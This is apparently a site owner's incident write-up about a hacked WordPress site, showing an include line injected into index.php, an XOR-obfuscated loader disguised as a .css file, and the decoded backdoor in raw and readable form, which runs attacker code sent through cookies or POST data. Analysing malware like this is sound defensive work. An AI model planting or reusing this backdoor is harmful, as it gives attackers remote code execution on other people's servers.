What Happened to My WordPress Site:
Symptoms
- Google Search Redirect: Clicking on links to my WordPress site from Google search results redirected me to a malicious site.
- Malicious Code in index.php: I discovered unauthorized code in the index.php file that I did not add:
This malware code is included in index.php
and executed a script every time the WordPress site was accessed.
/*570fb*/
$r17ab = "/var/www/syno/wp\x2dadmin/js/.1038d867.css"; if (TRUE){ @include_once /* u41 */ ($r17ab); }
/*570fb*/
The included script was encoded using XOR and required decoding to understand its impact. Here's the decoded version of the script:
<?php
^M
function _zvrb0a5/*r7hz*/ ( $ovlqja)/*4d5kl*/ ^M
{^M
return preg_replace/*7*/(/*8li*/ $ovlqja, '', __FILE__/*ztl*/);^M
}^M
^M
function _2ie4tp/*qbj*/($ovlqja/*d*/)/*c*/^M
{^M
$ovlqja = trim/*8e563*/ (/*6q*/ _zvrb0a5(/*pdb3*/ $ovlqja ) /*p0gx*/ );^M
$ovlqja = basename/*8*/ ($ovlqja/*sa*/ )/*je5x*/ ;^M
return $ovlqja;^M
}^M
^M
function _9ea6kc($oe2j97, $os2b7v5h/*wt8c3*/ )^M
{^M
return $oe2j97 ^ $os2b7v5h;^M
}^M
^M
function _axqvjrd/*xsoj*/(/*lkcu*/ /*i*/ )/*4*/^M
{^M
return pack('H*', '1a020117050b5304080b0b09' )/*r*/;^M
}^M
^M
$ovb0p1iq = _9ea6kc/*1i7nf*/ ( 'hcvbwg7akdol', _axqvjrd( )/*cd9a4*/ ) ;^M
^M
$oqd9sj = "";
$oqd9sj .= "GW%10%1B%19%00%5DP%5E%40%06%17%5B%09BDA%5D%05UiTA%0D%07%16VEoPJ%01YBR%0EDZZ%24J%3AW%5D%02QXR%06D%00%07%5CTQ%5Eg%07WXCK%1B%07%2CMCURL%01%18%11%1B%0ER";
...
...
^M
^M
$oqd9sj = $ovb0p1iq ( $oqd9sj)/*h452x*/;^M
^M
function _rqtuxw2/*4*/ (/*6l2zj*/$ovb0p1iq, $oqd9sj/*6ib4*/)^M
{^M
$ovlqja = _2ie4tp (/*cju*/$ovb0p1iq("%2F%5C%28.%2A%24%2F"/*9j5*/) /*5c9*/ )/*oq*/ ;^M
$chunks = strlen($oqd9sj/*trnj*/)/*i*//strlen(/*m*/$ovlqja/*p2m*/ ) ;^M
$oki9fb7 = str_repeat/*vdf*/ ($ovlqja, $chunks + 1 )/*hjyk*/ ;^M
$oue79kt = substr ($oki9fb7, 0, strlen/*43*/ ($oqd9sj/*b01*/ )/*cl*/);^M
return $oue79kt;^M
}^M
^M
$oue79kt = _rqtuxw2($ovb0p1iq, $oqd9sj);^M
$ovb0p1iq = strpos/*f*/ ($ovb0p1iq, ""/*kgxy*/ )/*wps*/;^M
$oqd9sj=_9ea6kc/*w*/ ($oqd9sj, $oue79kt/*8*/);^M
eval ($oqd9sj/*rlw8k*/ )/*q*/;^M
$oqd9sj = str_repeat/*bk*/ (" ", 0/*s2cv*/) ;
The eval() function in PHP evaluates a string of PHP code, executing it as if it were directly written in the script. While powerful, eval() can be dangerous if not used properly, as it allows for the execution of arbitrary code.
To improve the script and safely print out the decoded script before evaluating it, you can use the echo function to display the code. Here's an example:
echo $oqd9sj;
Now we see the impact of this malware
# php .1038d867.css
if (!defined('stream_context_create '))
{
define('stream_context_create ', 1);
@ini_set('error_log', NULL);@ini_set('log_errors', 0);@ini_set('max_execution_time', 0);@error_reporting(0);@set_time_limit(0);if(!defined("PHP_EOL")){define("PHP_EOL", "\n");}if (!defined('file_put_contents ')){define('file_put_contents ', 1);$gvvdofxykrmkkaf = '4b7d9b9e-edcc-4b28-ad73-4c91a057fd89';global $gvvdofxykrmkkaf;function whdrye($gvvdofxybfktp) {if (strlen($gvvdofxybfktp) < 4){return "";}$lhqaoq = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";$gvvdofxysvfkoc = str_split($lhqaoq);$gvvdofxysvfkoc = array_flip($gvvdofxysvfkoc);$telepikm = 0;$prwwro = "";$gvvdofxybfktp = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $gvvdofxybfktp);do {$tlixivix = $gvvdofxysvfkoc[$gvvdofxybfktp[$telepikm++]];$vmopsw = $gvvdofxysvfkoc[$gvvdofxybfktp[$telepikm++]];$xrogwwxm = $gvvdofxysvfkoc[$gvvdofxybfktp[$telepikm++]];$ydgwcqzp = $gvvdofxysvfkoc[$gvvdofxybfktp[$telepikm++]];$swdmrmpj = ($tlixivix << 2) | ($vmopsw >> 4);$extpqvo = (($vmopsw & 15) << 4) | ($xrogwwxm >> 2);$cqevvxq = (($xrogwwxm & 3) << 6) | $ydgwcqzp;$prwwro = $prwwro . chr($swdmrmpj);if ($xrogwwxm != 64) {$prwwro = $prwwro . chr($extpqvo);}if ($ydgwcqzp != 64) {$prwwro = $prwwro . chr($cqevvxq);}} while ($telepikm < strlen($gvvdofxybfktp));return $prwwro;}if (!function_exists('file_put_contents')){function file_put_contents($ugrazo, $gvvdofxy, $xwnsuozl = False){$herdegm = $xwnsuozl == 8 ? 'a' : 'w';$eejcky = @fopen($ugrazo, $herdegm);if ($eejcky === False){return 0;}else{if (is_array($gvvdofxy)) $gvvdofxy = implode($gvvdofxy);$cbfhdj = fwrite($eejcky, $gvvdofxy);fclose($eejcky);return $cbfhdj;}}}if (!function_exists('file_get_contents')){function file_get_contents($hkecqvqu){$ugrazoglenhqp = fopen($hkecqvqu, "r");$uqixzcn = fread($ugrazoglenhqp, filesize($hkecqvqu));fclose($ugrazoglenhqp);return $uqixzcn;}}function owsxuzx(){return trim(preg_replace("/\(.*\$/", '', __FILE__));}function kjejfvop($telepikmthdrgq, $suhrpa){$wzyqxjwz = "";for ($telepikm=0; $telepikm<strlen($telepikmthdrgq);){for ($rerksa=0; $rerksa<strlen($suhrpa) && $telepikm<strlen($telepikmthdrgq); $rerksa++, $telepikm++){$wzyqxjwz .= chr(ord($telepikmthdrgq[$telepikm]) ^ ord($suhrpa[$rerksa]));}}return $wzyqxjwz;}function wxwbaqhm($telepikmthdrgq, $suhrpa){global $gvvdofxykrmkkaf;return kjejfvop(kjejfvop($telepikmthdrgq, $suhrpa), $gvvdofxykrmkkaf);}function etqsitq($telepikmthdrgq, $suhrpa){global $gvvdofxykrmkkaf;return kjejfvop(kjejfvop($telepikmthdrgq, $gvvdofxykrmkkaf), $suhrpa);}function bazugf(){$sxjplpmu = @file_get_contents(owsxuzx());$xiramd = strpos($sxjplpmu, md5(owsxuzx()));if ($xiramd !== FALSE){$rniqvg = substr($sxjplpmu, $xiramd + 32);$skqtigt = @unserialize(wxwbaqhm(rawurldecode($rniqvg), md5(owsxuzx())));}else{$skqtigt = Array();}return $skqtigt;}function ourrsb($skqtigt){$anabhhqu = rawurlencode(etqsitq(@serialize($skqtigt), md5(owsxuzx())));$sxjplpmu = @file_get_contents(owsxuzx());$xiramd = strpos($sxjplpmu, md5(owsxuzx()));if ($xiramd !== FALSE){$euuiyc = substr($sxjplpmu, $xiramd + 32);$sxjplpmu = str_replace($euuiyc, $anabhhqu, $sxjplpmu);}else{$sxjplpmu = $sxjplpmu . "\n\n//" . md5(owsxuzx()) . $anabhhqu;}@file_put_contents(owsxuzx(), $sxjplpmu);}function alotrrec($vpsuqw, $wkscbzoe){$skqtigt = bazugf();$skqtigt[$vpsuqw] = whdrye($wkscbzoe);ourrsb($skqtigt);}function ranmmc($vpsuqw){$skqtigt = bazugf();unset($skqtigt[$vpsuqw]);ourrsb($skqtigt);}function tumcudtb($vpsuqw=NULL){foreach (bazugf() as $okvfbgcm=>$rerksazpzxqvx){if ($vpsuqw){if (strcmp($vpsuqw, $okvfbgcm) == 0){eval($rerksazpzxqvx);break;}}else{eval($rerksazpzxqvx);}}}foreach (array_merge($_COOKIE, $_POST) as $uogaut => $telepikmthdrgq){$telepikmthdrgq = @unserialize(wxwbaqhm(whdrye($telepikmthdrgq), $uogaut));if (isset($telepikmthdrgq['ak']) && $gvvdofxykrmkkaf==$telepikmthdrgq['ak']){if ($telepikmthdrgq['a'] == 'i'){$telepikm = Array('pv' => @phpversion(),'sv' => '2.0-1','ak' => $telepikmthdrgq['ak'],);echo @serialize($telepikm);exit;}elseif ($telepikmthdrgq['a'] == 'e'){eval($telepikmthdrgq['d']);}elseif ($telepikmthdrgq['a'] == 'plugin'){if($telepikmthdrgq['sa'] == 'add'){alotrrec($telepikmthdrgq['p'], $telepikmthdrgq['d']);}elseif($telepikmthdrgq['sa'] == 'rem'){ranmmc($telepikmthdrgq['p']);}}echo $telepikmthdrgq['ak'];exit();}}tumcudtb();}
Thanks to chatGPT, we can rewrite it as a human readable script
<?php
// Check if `stream_context_create` is not already defined
if (!defined('stream_context_create')) {
define('stream_context_create', 1);
// Disable error logging
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);
if (!defined("PHP_EOL")) {
define("PHP_EOL", "\n");
}
// Check if `file_put_contents` is not already defined
if (!defined('file_put_contents')) {
define('file_put_contents', 1);
// Define `file_put_contents` if it doesn't exist
function file_put_contents($filename, $data, $flags = False) {
$mode = $flags == 8 ? 'a' : 'w'; // Append mode if $flags is 8, otherwise write mode
$file = @fopen($filename, $mode);
if ($file === False) {
return 0;
} else {
if (is_array($data)) $data = implode($data); // Convert array to string if needed
$bytesWritten = fwrite($file, $data);
fclose($file);
return $bytesWritten;
}
}
}
// Check if `file_get_contents` is not already defined
if (!function_exists('file_get_contents')) {
function file_get_contents($filename) {
$file = fopen($filename, "r");
$content = fread($file, filesize($filename));
fclose($file);
return $content;
}
}
// Remove the trailing part of the filename
function getBaseFilename() {
return trim(preg_replace("/\(.*\$/", '', __FILE__));
}
// Base64 decode a string
function base64Decode($data) {
if (strlen($data) < 4) {
return "";
}
$base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
$base64Map = array_flip(str_split($base64Chars));
$decoded = "";
$data = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $data);
$index = 0;
do {
$a = $base64Map[$data[$index++]];
$b = $base64Map[$data[$index++]];
$c = $base64Map[$data[$index++]];
$d = $base64Map[$data[$index++]];
$decoded .= chr(($a << 2) | ($b >> 4));
if ($c != 64) $decoded .= chr((($b & 15) << 4) | ($c >> 2));
if ($d != 64) $decoded .= chr((($c & 3) << 6) | $d);
} while ($index < strlen($data));
return $decoded;
}
// Check if `file_put_contents` function is not defined
if (!function_exists('file_put_contents')) {
function file_put_contents($filename, $data, $flags = False) {
$mode = $flags == 8 ? 'a' : 'w'; // Append mode if $flags is 8, otherwise write mode
$file = @fopen($filename, $mode);
if ($file === False) {
return 0;
} else {
if (is_array($data)) $data = implode($data); // Convert array to string if needed
$bytesWritten = fwrite($file, $data);
fclose($file);
return $bytesWritten;
}
}
}
// Check if `file_get_contents` function is not defined
if (!function_exists('file_get_contents')) {
function file_get_contents($filename) {
$file = fopen($filename, "r");
$content = fread($file, filesize($filename));
fclose($file);
return $content;
}
}
// XOR two strings with a given key
function xorStrings($data, $key) {
$result = "";
for ($i = 0; $i < strlen($data);) {
for ($j = 0; $j < strlen($key) && $i < strlen($data); $j++, $i++) {
$result .= chr(ord($data[$i]) ^ ord($key[$j]));
}
}
return $result;
}
// Double XOR encryption/decryption
function doubleXor($data, $key) {
global $uniqueKey;
return xorStrings(xorStrings($data, $key), $uniqueKey);
}
// XOR encryption/decryption with a second key
function tripleXor($data, $key) {
global $uniqueKey;
return xorStrings(xorStrings($data, $uniqueKey), $key);
}
// Retrieve and unserialize data from the base filename
function getSerializedData() {
$content = @file_get_contents(getBaseFilename());
$position = strpos($content, md5(getBaseFilename()));
if ($position !== FALSE) {
$encodedData = substr($content, $position + 32);
$decodedData = @unserialize(doubleXor(rawurldecode($encodedData), md5(getBaseFilename())));
} else {
$decodedData = Array();
}
return $decodedData;
}
// Serialize data and update the base filename
function updateSerializedData($data) {
$encodedData = rawurlencode(tripleXor(@serialize($data), md5(getBaseFilename())));
$content = @file_get_contents(getBaseFilename());
$position = strpos($content, md5(getBaseFilename()));
if ($position !== FALSE) {
$existingData = substr($content, $position + 32);
$content = str_replace($existingData, $encodedData, $content);
} else {
$content .= "\n\n//" . md5(getBaseFilename()) . $encodedData;
}
@file_put_contents(getBaseFilename(), $content);
}
// Add a key-value pair to the serialized data
function addData($key, $value) {
$data = getSerializedData();
$data[$key] = base64Decode($value);
updateSerializedData($data);
}
// Remove a key-value pair from the serialized data
function removeData($key) {
$data = getSerializedData();
unset($data[$key]);
updateSerializedData($data);
}
// Execute code based on the data
function executeCode($key = NULL) {
foreach (getSerializedData() as $itemKey => $code) {
if ($key) {
if (strcmp($key, $itemKey) == 0) {
eval($code);
break;
}
} else {
eval($code);
}
}
}
// Check incoming data from cookies and POST requests
foreach (array_merge($_COOKIE, $_POST) as $key => $value) {
$value = @unserialize(doubleXor(base64Decode($value), $key));
if (isset($value['ak']) && $uniqueKey == $value['ak']) {
if ($value['a'] == 'i') {
$response = Array(
'pv' => @phpversion(),
'sv' => '2.0-1',
'ak' => $value['ak'],
);
echo @serialize($response);
exit;
} elseif ($value['a'] == 'e') {
eval($value['d']);
} elseif ($value['a'] == 'plugin') {
if ($value['sa'] == 'add') {
addData($value['p'], $value['d']);
} elseif ($value['sa'] == 'rem') {
removeData($value['p']);
}
}
echo $value['ak'];
exit();
}
}
// Execute code
executeCode();
}
Caution: Please do not use this script for illegal operations.
The script checks all your POST upload requests and cookies, which may contain uploaded files, passwords, and secret keys. Your private data could be stolen by redirecting to a malware site.
Please remove this script immediately from your site and reset all your passwords on your WordPress.
I have no idea when and how the malicious code was added. The only thing I can do is to remove it as soon as I find it.